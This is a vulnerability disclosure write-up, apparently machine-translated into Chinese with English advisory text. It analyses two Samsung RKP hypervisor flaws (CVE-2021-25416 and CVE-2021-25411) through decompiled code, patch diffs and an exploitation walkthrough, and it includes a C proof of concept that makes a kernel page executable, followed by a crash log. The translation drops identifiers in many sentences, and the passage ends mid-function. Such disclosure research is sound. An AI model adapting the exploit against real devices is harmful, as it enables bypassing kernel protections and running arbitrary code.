+ protected_ranges_overlaps(start_addr, end_addr - start_addr);
+ addr = start_addr;
+ do {
+ rkp_phys_map_lock(addr);
+ if (is_phys_map_s2unmap(addr))
+ rkp_policy_violation("RKP_1b62896c %p", addr);
+ rkp_phys_map_unlock(addr);
+ addr += 0x1000;
+ } while (addr < end_addr);
+ }
// ...
}

+int64_t protected_ranges_overlaps(uint64_t addr, uint64_t size) {
+ if (memlist_overlaps_range(&protected_ranges, addr, size)) {
+ uh_log('L', "pa_restrict.c", 122, "RKP_03f2763e%lx RKP_a54942c8%lx", addr, size);
+ return uh_log('D', "pa_restrict.c", 124, "RKP_03f2763e%lxRKP_c5d4b9a4%lx", addr, size);
+ }
+ return 0;
+}

SVE-2021-20179 (CVE-2021-25416): Possible creating executable kernel page via abusing dynamic load functions

Severity: Moderate
Affected versions: Q(10.0), R(11.0) devices with Exynos9610, 9810, 9820, 9830
Reported on: January 5, 2021
Disclosure status: Privately disclosed.
Assuming EL1 is compromised, an improper address validation in RKP prior to SMR JUN-2021 Release 1 allows local attackers to create executable kernel page outside code area.
The patch adds the proper address validation in RKP to prevent creating executable kernel page.

脆弱性

我们在调查 RKP 的“动态加载”功能时发现了此漏洞。它允许内核加载到必须由 Samsung 签名的内存可执行二进制文件中。它目前仅用于完全交互式移动摄像头 (FIMC) 子系统,并且由于此子系统仅在 Exynos 设备上可用,因此此功能不适用于 Snapdragon 设备。

要了解这个特性是如何工作的,我们可以从查看内核源代码开始,找到它的使用位置。通过搜索命令,我们可以找到两个加载和卸载“动态可执行文件”的函数:fimc_is_load_ddk_bin 和 fimc_is_load_rta_binRKP_DYNAMIC_LOAD

在 fimc_is_load_ddk_bin 中,内核首先使用有关二进制文件的信息填充rkp_dynamic_load_t结构。如果二进制文件已加载,则调用子命令将其卸载。然后,它使整个二进制内存可写,并将其代码和数据复制到其中。最后,它通过调用子命令使二进制代码可执行。RKP_DYN_COMMAND_RMRKP_DYN_COMMAND_INS

▸ drivers/media/platform/exynos/fimc-is2/interface/fimc-is-interface-library.c
int fimc_is_load_ddk_bin(int loadType)
{
// ...
rkp_dynamic_load_t rkp_dyn;
static rkp_dynamic_load_t rkp_dyn_before = {0};
#endif
// ...
if (loadType == BINARY_LOAD_ALL) {
memset(&rkp_dyn, 0, sizeof(rkp_dyn));
rkp_dyn.binary_base = lib_addr;
rkp_dyn.binary_size = bin.size;
rkp_dyn.code_base1 = memory_attribute[INDEX_ISP_BIN].vaddr;
rkp_dyn.code_size1 = memory_attribute[INDEX_ISP_BIN].numpages * PAGE_SIZE;
#ifdef USE_ONE_BINARY
rkp_dyn.type = RKP_DYN_FIMC_COMBINED;
rkp_dyn.code_base2 = memory_attribute[INDEX_VRA_BIN].vaddr;
rkp_dyn.code_size2 = memory_attribute[INDEX_VRA_BIN].numpages * PAGE_SIZE;
#else
rkp_dyn.type = RKP_DYN_FIMC;
#endif
if (rkp_dyn_before.type)
uh_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, RKP_DYN_COMMAND_RM,(u64)&rkp_dyn_before, 0, 0);
memcpy(&rkp_dyn_before, &rkp_dyn, sizeof(rkp_dynamic_load_t));
// ...
ret = fimc_is_memory_attribute_nxrw(&memory_attribute[INDEX_ISP_BIN]);
// ...
#ifdef USE_ONE_BINARY
ret = fimc_is_memory_attribute_nxrw(&memory_attribute[INDEX_VRA_BIN]);
// ...
#endif
// ...
memcpy((void *)lib_addr, bin.data, bin.size);
// ...
ret = uh_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, RKP_DYN_COMMAND_INS, (u64)&rkp_dyn, 0, 0);
// ...
}

rkp_dynamic_load_t结构填充了可执行文件的类型(如果它有一个代码段,如果它有两个代码段)、整个二进制文件的基址和大小,以及其代码段的基址和大小。RKP_DYN_FIMCRKP_DYN_FIMC_COMBINED

▸ include/linux/rkp.h
typedef struct dynamic_load_struct{
u32 type;
u64 binary_base;
u64 binary_size;
u64 code_base1;
u64 code_size1;
u64 code_base2;
u64 code_size2;
} rkp_dynamic_load_t;

在虚拟机管理程序中,命令及其子命令的处理程序是 rkp_cmd_dynamic_load 函数。它将子命令 (, , 或 ) 分派给相应的函数。RKP_DYNAMIC_LOADRKP_DYN_COMMAND_BREAKDOWN_BEFORE_INITRKP_DYN_COMMAND_INSRKP_DYN_COMMAND_RM

int64_t rkp_cmd_dynamic_load(saved_regs_t* regs) {
// ...

// Get the subcommand and convert the argument structure address.
type = regs->x2;
rkp_dyn = (rkp_dynamic_load_t*)rkp_get_pa(regs->x3);
// Call the handler specific to the subcommand type.
if (type == RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT) {
res = dynamic_breakdown_before_init(rkp_dyn);
if (res) {
uh_log('W', "rkp_dynamic.c", 392, "dynamic_breakdown_before_init failed");
}
} else if (type == RKP_DYN_COMMAND_INS) {
res = dynamic_load_ins(rkp_dyn);
if (!res) {
uh_log('L', "rkp_dynamic.c", 406, "dynamic_load ins type:%d success", rkp_dyn->type);
}
} else if (type == RKP_DYN_COMMAND_RM) {
res = dynamic_load_rm(rkp_dyn);
if (!res) {
uh_log('L', "rkp_dynamic.c", 400, "dynamic_load rm type:%d success", rkp_dyn->type);
}
} else {
res = 0;
}
// Put the return code in the memory referenced by x4.
ret_va = regs->x4;
if (ret_va) {
*virt_to_phys_el1(ret_va) = res;
}
// Put the return code in x0.
regs->x0 = res;
return res;
}

我们对子命令不感兴趣,因为它只能在初始化之前调用。RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT

用于加载二进制文件的子命令由 dynamic_load_ins 处理。它按顺序调用一堆函数:RKP_DYN_COMMAND_INS

  • dynamic_load_check验证可执行文件的信息;

  • dynamic_load_protection在阶段 2 中制作代码段;R-X

  • dynamic_load_verify_signing验证可执行文件的签名;

  • dynamic_load_make_rox在阶段 1 中制作代码段;R-X

  • dynamic_load_add_executable将代码段添加到内存列表中;executable_regions

  • dynamic_load_add_dynlist将可执行文件添加到内存列表中。dynamic_load_regions

如果它调用的任何函数失败(dynamic_load_check除外),它将尝试通过调用与卸载路径中相同的函数来撤消其更改。

int64_t dynamic_load_ins(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Validate the argument structure.
if (dynamic_load_check(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 273, "dynamic_load_check failed");
return 0xf13c0001;
}
// Make the code segment(s) read-only executable in the stage 2.
if (dynamic_load_protection(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 280, "dynamic_load_protection failed");
res = 0xf13c0002;
goto EXIT_RW;
}
// Verify the signature of the dynamic executable.
if (dynamic_load_verify_signing(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 288, "dynamic_load_verify_signing failed");
res = 0xf13c0003;
goto EXIT_RW;
}
// Make the code segment(s) read-only executable in the stage 1.
if (dynamic_load_make_rox(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 295, "dynamic_load_make_rox failed");
res = 0xf13c0004;
goto EXIT_SET_PXN;
}
// Add the code segment(s) to the executable_regions memlist.
if (dynamic_load_add_executable(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 303, "dynamic_load_add_executable failed");
res = 0xf13c0005;
goto EXIT_RM_EXECUTABLE;
}
// Add the binary's address range to the dynamic_load_regions memlist.
if (dynamic_load_add_dynlist(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 309, "dynamic_load_add_dynlist failed");
res = 0xf13c0006;
goto EXIT_RM_DYNLIST;
}
return 0;

EXIT_RM_DYNLIST:
// Undo: remove the binary's address range from the dynamic_load_regions memlist.
if (dynamic_load_rm_dynlist(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 317, "fail to dynamic_load_rm_dynlist, later in dynamic_load_ins");
}
EXIT_RM_EXECUTABLE:
// Undo: remove the code segment(s) from the executable_regions memlist.
if (dynamic_load_rm_executable(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 320, "fail to dynamic_load_rm_executable, later in dynamic_load_ins");
}
EXIT_SET_PXN:
// Undo: make the code segment(s) read-only non-executable in the stage 1.
if (dynamic_load_set_pxn(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 323, "fail to dynamic_load_set_pxn, later in dynamic_load_ins");
}
EXIT_RW:
// Undo: make the code segment(s) read-write executable in the stage 2.
if (dynamic_load_rw(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 326, "fail to dynamic_load_rw, later in dynamic_load_ins");
}
return res;
}

用于卸载二进制文件的子命令由 dynamic_load_rm 处理。它还按顺序调用一堆函数:RKP_DYN_COMMAND_RM

  • dynamic_load_rm_dynlist 从内存列表中删除可执行文件;dynamic_load_regions

  • dynamic_load_rm_executable从内存列表中删除代码段;executable_regions

  • dynamic_load_set_pxn在阶段 1 中制作代码段;R--

  • dynamic_load_rw在阶段 2 中制作代码段。RWX

int64_t dynamic_load_rm(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Remove the binary's address range from the dynamic_load_regions memlist.
if (dynamic_load_rm_dynlist(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 338, "dynamic_load_rm_dynlist failed");
res = 0xf13c0007;
}
// Make the code segment(s) read-only non-executable in the stage 1.
else if (dynamic_load_rm_executable(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 345, "dynamic_load_rm_executable failed");
res = 0xf13c0008;
}
// Remove the code segment(s) from the executable_regions memlist.
else if (dynamic_load_set_pxn(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 352, "dynamic_load_set_pxn failed");
res = 0xf13c0009;
}
// Make the code segment(s) read-write executable in the stage 2.
else if (dynamic_load_rw(rkp_dyn)) {
uh_log('W', "rkp_dynamic.c", 359, "dynamic_load_rw failed");
res = 0xf13c000a;
} else {
res = 0;
}
return res;
}

可执行文件加载

dynamic_load_check可确保二进制文件的地址范围不会与其他当前加载的二进制文件重叠,也不会与阶段 2 中只读的内存重叠。不幸的是,这还不够。特别是,它不能确保代码段在二进制文件的地址范围内。请注意,如果返回错误,则使用(调试)日志级别调用,这将导致崩溃。pgt_bitmap_overlaps_rangeul_logD

int64_t dynamic_load_check(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Dynamic executables of type RKP_DYN_MODULE are not allowed to be loaded.
if (rkp_dyn->type == RKP_DYN_MODULE) {
return -1;
}
// Check if the binary's address range overlaps with the dynamic_load_regions memlist.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
if (memlist_overlaps_range(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size)) {
uh_log('L', "rkp_dynamic.c", 71, "dynamic_load[%p~%p] is overlapped with another", binary_base_pa,
rkp_dyn->binary_size);
return -1;
}
// Check if any of the pages of the binary's address range is marked read-only in the ro_bitmap.
if (pgt_bitmap_overlaps_range(binary_base_pa, rkp_dyn->binary_size)) {
uh_log('D', "rkp_dynamic.c", 76, "dynamic_load[%p~%p] is ro", binary_base_pa, rkp_dyn->binary_size);
}
return 0;
}

dynamic_load_protection通过调用 rkp_s2_range_change_permission 在阶段 2 中生成代码段。R-X

int64_t dynamic_load_protection(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Make the first code segment read-only executable in the second stage.
code_base1_pa = rkp_get_pa(rkp_dyn->code_base1);
if (rkp_s2_range_change_permission(code_base1_pa, rkp_dyn->code_size1 + code_base1_pa, 0x80 /* read-only */,
1 /* executable */, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 116, "Dynamic load: fail to make first code range RO %lx, %lx", rkp_dyn->code_base1,
rkp_dyn->code_size1);
return -1;
}
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type != RKP_DYN_FIMC_COMBINED) {
return 0;
}
// Make the second code segment read-only executable in the second stage.
code_base2_pa = rkp_get_pa(rkp_dyn->code_base2);
if (rkp_s2_range_change_permission(code_base2_pa, rkp_dyn->code_size2 + code_base2_pa, 0x80 /* read-only */,
1 /* executable */, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 124, "Dynamic load: fail to make second code range RO %lx, %lx", rkp_dyn->code_base2,
rkp_dyn->code_size2);
return -1;
}
return 0;
}

dynamic_load_verify_signing验证整个二进制文件地址空间的签名(请记住,二进制文件的代码和数据是由内核复制到该空间中的)。内核可以通过在命令中设置来禁用签名验证。NO_FIMC_VERIFYrkp_start

int64_t dynamic_load_verify_signing(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Check if signature verification was disabled by the kernel in rkp_start.
if (NO_FIMC_VERIFY) {
uh_log('L', "rkp_dynamic.c", 135, "FIMC Signature verification Skip");
return 0;
}
// Only the signature of RKP_DYN_FIMC and RKP_DYN_FIMC_COMBINED dynamic executables is checked.
if (rkp_dyn->type != RKP_DYN_FIMC && rkp_dyn->type != RKP_DYN_FIMC_COMBINED) {
return 0;
}
// Call fmic_signature_verify that does the actual signature checking.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
if (fmic_signature_verify(binary_base_pa, rkp_dyn->binary_size)) {
uh_log('W', "rkp_dynamic.c", 143, "FIMC Signature verification failed %lx, %lx", binary_base_pa,
rkp_dyn->binary_size);
return -1;
}
uh_log('L', "rkp_dynamic.c", 146, "FIMC Signature verification Success %lx, %lx", rkp_dyn->binary_base,
rkp_dyn->binary_size);
return 0;
}

dynamic_load_make_rox通过调用 rkp_set_range_to_rox 在阶段 1 中生成代码段。R-X

int64_t dynamic_load_make_rox(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Make the first code segment read-only executable in the first stage.
res = rkp_set_range_to_rox(INIT_MM_PGD, rkp_dyn->code_base1, rkp_dyn->code_base1 + rkp_dyn->code_size1);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Make the second code segment read-only executable in the first stage.
res += rkp_set_range_to_rox(INIT_MM_PGD, rkp_dyn->code_base2, rkp_dyn->code_base2 + rkp_dyn->code_size2);
}
return res;
}

dynamic_load_add_executable将代码段添加到可执行内存区域列表中。

int64_t dynamic_load_add_executable(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Add the first code segment to the executable_regions memlist.
res = memlist_add(&executable_regions, rkp_dyn->code_base1, rkp_dyn->code_size1);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Add the second code segment to the executable_regions memlist.
res += memlist_add(&executable_regions, rkp_dyn->code_base2, rkp_dyn->code_size2);
}
return res;
}

dynamic_load_add_dynlist将二进制文件的地址范围添加到动态加载的可执行文件列表中。

int64_t dynamic_load_add_dynlist(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Allocate a copy of the argument strucutre.
dynlist_entry = static_heap_alloc(0x38, 0);
memcpy(dynlist_entry, rkp_dyn, 0x38);
// Add the binary's address range to the dynamic_load_regions memlist and save the binary information alongside.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
return memlist_add_extra(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size, dynlist_entry);
}

可执行文件卸载

dynamic_load_rm_dynlist从动态加载的可执行文件列表中删除二进制文件的地址范围。

int64_t dynamic_load_rm_dynlist(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Remove the binary's address range from the dynamic_load_regions memlist and retrieve the saved binary information.
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
res = memlist_remove_exact(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size, &dynlist_entry);
if (res) {
return res;
}
if (!dynlist_entry) {
uh_log('W', "rkp_dynamic.c", 205, "No dynamic descriptor");
return -11;
}
// Compare the first code segment base address and size with the saved binary information.
res = 0;
if (rkp_dyn->code_base1 != dynlist_entry->code_base1 || rkp_dyn->code_size1 != dynlist_entry->code_size1) {
--res;
}
// Compare the second code segment base address and size with the saved binary information.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED &&
(rkp_dyn->code_base2 != dynlist_entry->code_base2 || rkp_dyn->code_size2 != dynlist_entry->code_size2)) {
--res;
}
// Free the copy the argument structure.
static_heap_free(dynlist_entry);
return res;
}

dynamic_load_rm_executable从可执行内存区域列表中删除代码段。

int64_t dynamic_load_rm_executable(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Remove the first code segment to the executable_regions memlist.
res = memlist_remove_exact(&executable_regions, rkp_dyn->code_base1, rkp_dyn->code_size1, 0);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Remove the first code segment to the executable_regions memlist.
res += memlist_remove_exact(&executable_regions, rkp_dyn->code_base2, rkp_dyn->code_size2, 0);
}
return res;
}

dynamic_load_set_pxn通过调用 rkp_set_range_to_pxn 使代码段在阶段 1 中不可执行。

int64_t dynamic_load_set_pxn(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Make the first code segment non-executable in the first stage.
res = rkp_set_range_to_pxn(INIT_MM_PGD, rkp_dyn->code_base1, rkp_dyn->code_base1 + rkp_dyn->code_size1);
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
// Make the second code segment non-executable in the first stage.
res += rkp_set_range_to_pxn(INIT_MM_PGD, rkp_dyn->code_base2, rkp_dyn->code_base2 + rkp_dyn->code_size2);
}
return res;
}

dynamic_load_rw通过调用 rkp_s2_range_change_permission 在阶段 2 中生成代码段。RWX

int64_t dynamic_load_rw(rkp_dynamic_load_t* rkp_dyn) {
// ...

// Make the first code segment read-write executable in the second stage.
code_base1_pa = rkp_get_pa(rkp_dyn->code_base1);
if (rkp_s2_range_change_permission(code_base1_pa, rkp_dyn->code_size1 + code_base1_pa, 0 /* read-write */,
1 /* executable */, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 239, "Dynamic load: fail to make first code range RO %lx, %lx", rkp_dyn->code_base1,
rkp_dyn->code_size1);
return -1;
}
// Dynamic executables of the type RKP_DYN_FIMC_COMBINED have two code segments.
if (rkp_dyn->type != RKP_DYN_FIMC_COMBINED) {
return 0;
}
// Make the second code segment read-write executable in the second stage.
code_base2_pa = rkp_get_pa(rkp_dyn->code_base2);
if (rkp_s2_range_change_permission(code_base2_pa, rkp_dyn->code_size2 + code_base2_pa, 0, 1, 2) < 0) {
uh_log('L', "rkp_dynamic.c", 247, "Dynamic load: fail to make second code range RO %lx, %lx", rkp_dyn->code_base2,
rkp_dyn->code_size2);
return -1;
}
return 0;
}

脆弱性

从上面给出的函数的高级描述中,我们可以特别注意到,如果我们给出当前或处于阶段 2 的代码段,dynamic_load_protection 将使它 .如果之后发生错误,将调用dynamic_load_rw撤消更改并进行更改,而不考虑原始权限。因此,我们可以有效地使内核内存可执行。R-XRW-R-XRWX

在实践中,要在 dynamic_load_check 中传递检查,我们需要在阶段 2 中指定一个位于可写内存中,但可以位于只读内存中。现在,要触发失败,我们可以指定一个不与页面对齐的。这样,在 dynamic_load_protection 中对 rkp_s2_range_change_permission 的第二次调用将失败,并且将执行dynamic_load_rw。在 dynamic_load_rw 中对 rkp_s2_range_change_permission 的第二次调用也会失败,但这不是问题。binary_basecode_base1code_base2code_base2

开发

该漏洞允许我们将当前或处于阶段 2 的内存更改为 .为了利用这个漏洞在EL1上执行任意代码,最简单的方法是找到一个在阶段1中已经可执行的物理页面,这样我们只需要修改阶段2的权限。然后,我们可以在内核的 physmap(Linux 内核 physmap,而不是 RKP 的)中使用此页面的虚拟地址作为第二个可写的映射。通过将代码写入第二个映射并从第一个映射执行它,我们可以实现任意代码执行。R-XRW-RWXphysmap

          stage 1   stage 2
EXEC_VA ---------+--------> TARGET_PA
R-X | R-X
| ^---- will be changed to RWX
WRITE_VA ---------+
RW-

通过转储阶段 1 的页表,我们可以很容易地找到一个双映射页面。

...
ffffff80fa500000 - ffffff80fa700000 (PTE): R-X at 00000008f5520000 - 00000008f5720000
...
ffffffc800000000 - ffffffc880000000 (PMD): RW- at 0000000880000000 - 0000000900000000
...

如果我们的可执行映射处于 0xFFFFFF80FA500000,我们可以推断出可写映射将处于 0xFFFFFFC87571F000:

>>> EXEC_VA = 0xFFFFFF80FA6FF000
>>> TARGET_PA = EXEC_VA - 0xFFFFFF80FA500000 + 0x00000008F5520000
>>> TARGET_PA
0x8F571F000
>>> WRITE_VA = 0xFFFFFFC800000000 + TARGET_PA - 0x0000000880000000
>>> WRITE_VA
0xFFFFFFC87571F000

通过转储阶段 2 的页表,我们可以确认它最初映射为 .R-X

...
0x8f571f000-0x8f5720000: S2AP=1, XN[1]=0
...

在编写漏洞利用时,我们需要考虑的最后一件重要事情是缓存(数据和指令)。为了安全起见,在我们的漏洞利用中,我们决定在代码前面加上一些“引导”指令来执行,这些指令将清理缓存。

概念验证

#define UH_APP_RKP 0xC300C002

#define RKP_DYNAMIC_LOAD 0x20
#define RKP_DYN_COMMAND_INS 0x01
#define RKP_DYN_FIMC_COMBINED 0x03

/* these 2 VAs point to the same PA */
#define EXEC_VA 0xFFFFFF80FA6FF000UL
#define WRITE_VA 0xFFFFFFC87571F000UL

/* bootstrap code to clean the caches */
#define DC_IVAC_IC_IVAU 0xD50B7520D5087620UL
#define DSB_ISH_ISB 0xD5033FDFD5033B9FUL

void exploit() {
/* fill the structure given as argument */
uint64_t rkp_dyn = kernel_alloc(0x38);
kernel_write(rkp_dyn + 0x00, RKP_DYN_FIMC_COMBINED); // type
kernel_write(rkp_dyn + 0x08, kernel_alloc(0x1000)); // binary_base
kernel_write(rkp_dyn + 0x10, 0x1000); // binary_size
kernel_write(rkp_dyn + 0x18, EXEC_VA); // code_base1
kernel_write(rkp_dyn + 0x20, 0x1000); // code_size1
kernel_write(rkp_dyn + 0x28, EXEC_VA + 1); // code_base2
kernel_write(rkp_dyn + 0x30, 0x1000); // code_size2

/* call the hypervisor to make the page RWX */
kernel_hyp_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, RKP_DYN_COMMAND_INS, rkp_dyn);

/* copy the code using the writable mapping */
uint32_t code[] = {
0xDEADBEEF,
0,
};
kernel_write(WRITE_VA + 0x00, DC_IVAC_IC_IVAU);
kernel_write(WRITE_VA + 0x08, DSB_ISH_ISB);
for (int i = 0; i < sizeof(code) / sizeof(uint64_t); ++i)
kernel_write(WRITE_VA + 0x10 + i * 8, code[i * 2]);

/* and execute it using the executable mapping */
kernel_exec(EXEC_VA, WRITE_VA);
}

作为运行概念验证的结果,我们得到了一个未定义的指令异常,我们可以在内核日志中观察到该异常(注意部分):(deadbeef)

<2>[  207.365236]  [3:     rkp_exploit:15549] sec_debug_set_extra_info_fault = UNDF / 0xffffff80fa6ff018
<2>[ 207.365310] [3: rkp_exploit:15549] sec_debug_set_extra_info_fault: 0x1 / 0x726ff018
<0>[ 207.365338] [3: rkp_exploit:15549] undefined instruction: pc=00000000dec42a2e, rkp_exploit[15549] (esr=0x2000000)
<6>[ 207.365361] [3: rkp_exploit:15549] Code: d5087620 d50b7520 d5033b9f d5033fdf (deadbeef)
<0>[ 207.365372] [3: rkp_exploit:15549] Internal error: undefined instruction: 2000000 [#1] PREEMPT SMP
<4>[ 207.365386] [3: rkp_exploit:15549] Modules linked in:
<0>[ 207.365401] [3: rkp_exploit:15549] Process rkp_exploit (pid: 15549, stack limit = 0x00000000b4f56d76)
<0>[ 207.365418] [3: rkp_exploit:15549] debug-snapshot: core register saved(CPU:3)
<0>[ 207.365430] [3: rkp_exploit:15549] L2ECTLR_EL1: 0000000000000007
<0>[ 207.365438] [3: rkp_exploit:15549] L2ECTLR_EL1 valid_bit(30) is NOT set (0x0)
<0>[ 207.365456] [3: rkp_exploit:15549] CPUMERRSR: 0000000000040001, L2MERRSR: 0000000013000000
<0>[ 207.365468] [3: rkp_exploit:15549] CPUMERRSR valid_bit(31) is NOT set (0x0)
<0>[ 207.365480] [3: rkp_exploit:15549] L2MERRSR valid_bit(31) is NOT set (0x0)
<0>[ 207.365491] [3: rkp_exploit:15549] debug-snapshot: context saved(CPU:3)
<6>[ 207.365541] [3: rkp_exploit:15549] debug-snapshot: item - log_kevents is disabled
<6>[ 207.365574] [3: rkp_exploit:15549] TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 89
<4>[ 207.365590] [3: rkp_exploit:15549] CPU: 3 PID: 15549 Comm: rkp_exploit Tainted: G W 4.14.113 #14
<4>[ 207.365602] [3: rkp_exploit:15549] Hardware name: Samsung A51 EUR OPEN REV01 based on Exynos9611 (DT)
<4>[ 207.365617] [3: rkp_exploit:15549] task: 00000000dcac38cb task.stack: 00000000b4f56d76
<4>[ 207.365632] [3: rkp_exploit:15549] PC is at 0xffffff80fa6ff018
<4>[ 207.365644] [3: rkp_exploit:15549] LR is at 0xffffff80fa6ff004

该漏洞已在我们的测试设备可用的最新固件上成功测试(在我们向三星报告此漏洞时):。双重错误仅存在于 Exynos 设备的二进制文件中(因为“动态加载”功能不适用于 Snapdragon 设备),包括 S10/S10+/S20/S20+ 旗舰设备。但是,它在这些设备上的可利用性尚不确定。A515FXXU4CTJ1

利用此漏洞的先决条件很高:在启用了 JOPP/ROPP 的设备上,仅通过对内核内存的任意读取和写入即可进行虚拟机管理程序调用并非易事。

补丁

以下是我们向三星建议的即时补救步骤:

- Implement thorough checking in the "dynamic executable" commands:
- The code segment(s) should not overlap any read-only pages
(maybe checking the ro_bitmap or calling is_phys_map_free is enough)
- dynamic_load_rw should not make the code segment(s) executable on failure
(to prevent abusing it to create executable kernel pages...)
- Ensure signature checking is enabled (it was disabled on some devices)

在收到三星通知该漏洞已修补后,我们下载了测试设备三星 Galaxy A51 的最新固件更新。但我们很快注意到它还没有更新到 6 月份的补丁级别,所以我们不得不对三星 Galaxy S10 的最新固件更新进行二进制比较。使用的确切版本是 。G973FXXSBFUF3

dynamic_load_check功能进行了更改。如建议,添加了检查以确保两个代码段都在二进制文件的地址范围内。虽然新检查不考虑所有添加项的整数溢出,但我们注意到在 10 月安全更新的后期进行了更改。base + size

int64_t dynamic_load_check(rkp_dynamic_load_t *rkp_dyn) {
// ...

if (rkp_dyn->type == RKP_DYN_MODULE)
return -1;
+ binary_base = rkp_dyn->binary_base;
+ binary_end = rkp_dyn->binary_size + binary_base;
+ code_base1 = rkp_dyn->code_base1;
+ code_end1 = rkp_dyn->code_size1 + code_base1;
+ if (code_base1 < binary_base || code_end1 > binary_end) {
+ uh_log('L', "rkp_dynamic.c", 71, "RKP_21f66fc1");
+ return -1;
+ }
+ if (rkp_dyn->type == RKP_DYN_FIMC_COMBINED) {
+ code_base2 = rkp_dyn->code_base2;
+ code_end2 = rkp_dyn->code_size2 + code_base2;
+ if (code_base2 < binary_base || code_end2 > binary_end) {
+ uh_log('L', "rkp_dynamic.c", 77, "RKP_915550ac");
+ return -1;
+ }
+ if ((code_base1 > code_base2 && code_base1 < code_end2)
+ || (code_base2 > code_base1 && code_base2 < code_end1)) {
+ uh_log('L', "rkp_dynamic.c", 83, "RKP_67b1bc82");
+ return -1;
+ }
+ }
binary_base_pa = rkp_get_pa(rkp_dyn->binary_base);
if (memlist_overlaps_range(&dynamic_load_regions, binary_base_pa, rkp_dyn->binary_size)) {
uh_log('L', "rkp_dynamic.c", 91, "dynamic_load[%p~%p] is overlapped with another", binary_base_pa,rkp_dyn->binary_size);
return -1;
}
if (pgt_bitmap_overlaps_range(binary_base_pa, rkp_dyn->binary_size))
uh_log('D', "rkp_dynamic.c", 96, "dynamic_load[%p~%p] is ro", binary_base_pa, rkp_dyn->binary_size);
return 0;
}

由于二进制文件的地址范围随后会根据 using 进行检查,因此在阶段 2 中不再可能将内存从 更改为 。仍然可以更改内存,即 ,但阶段 2 中已经有页面。虚拟机监控程序还确保,如果此类页面在阶段 1 中被映射为可执行文件,则在阶段 2 中将其设置为只读。ro_bitmappgt_bitmap_overlaps_rangeR-XRWXRW-RWXRWX

SVE-2021-20176 (CVE-2021-25411): Vulnerable api in RKP allows attackers to write read-only kernel memory

Severity: Moderate
Affected versions: Q(10.0), R(11.0) devices with Exynos9610, 9810, 9820, 9830
Reported on: January 4, 2021
Disclosure status: Privately disclosed.
Improper address validation vulnerability in RKP api prior to SMR JUN-2021 Release 1 allows root privileged local attackers to write read-only kernel memory.
The patch adds a proper address validation check to prevent unprivileged write to kernel memory.

脆弱性

最后一个漏洞来自virt_to_phys_el1的限制,这是 RKP 用于将虚拟地址转换为物理地址的功能。

它使用 AT S12E1R(地址转换阶段 1 和 2 EL1 读取)和 AT S12E1W地址转换阶段 1 和 2 EL1 写入)指令来执行完整(阶段 1 和 2)地址转换,就好像内核分别尝试在该虚拟地址上读取或写入一样。通过检查PAR_EL1(物理地址寄存器)寄存器,该函数可以知道地址转换是否成功并检索物理地址。

最具体地说,virt_to_phys_el1使用 ,如果第一个地址转换失败,则使用 。这意味着内核可以读取和/或写入的任何虚拟地址都可以由函数成功转换。AT S12E1RAT S12E1W

uint64_t virt_to_phys_el1(uint64_t addr) {
// ...

// Ignore null VAs.
if (!addr) {
return 0;
}
cs_enter(s2_lock);
// Try to translate the VA using the AT S12E1R instruction (simulate a kernel read).
ats12e1r(addr);
isb();
par_el1 = get_par_el1();
// Check the PAR_EL1 register to see if the AT succeeded.
if ((par_el1 & 1) != 0) {
// Try again to translate the VA using the AT S12E1W instruction (simulate a kernel write).
ats12e1w(addr);
isb();
par_el1 = get_par_el1();
}
cs_exit(s2_lock);
// Check the PAR_EL1 register to see if the AT succeeded.
if ((par_el1 & 1) != 0) {
isb();
// If the MMU is enabled, log and print the stack contents (only once).
if ((get_sctlr_el1() & 1) != 0) {
uh_log('W', "vmm.c", 135, "%sRKP_b0a499dd %p", "virt_to_phys_el1", addr);
if (!dword_87035098) {
dword_87035098 = 1;
print_stack_contents();
}
dword_87035098 = 0;
}
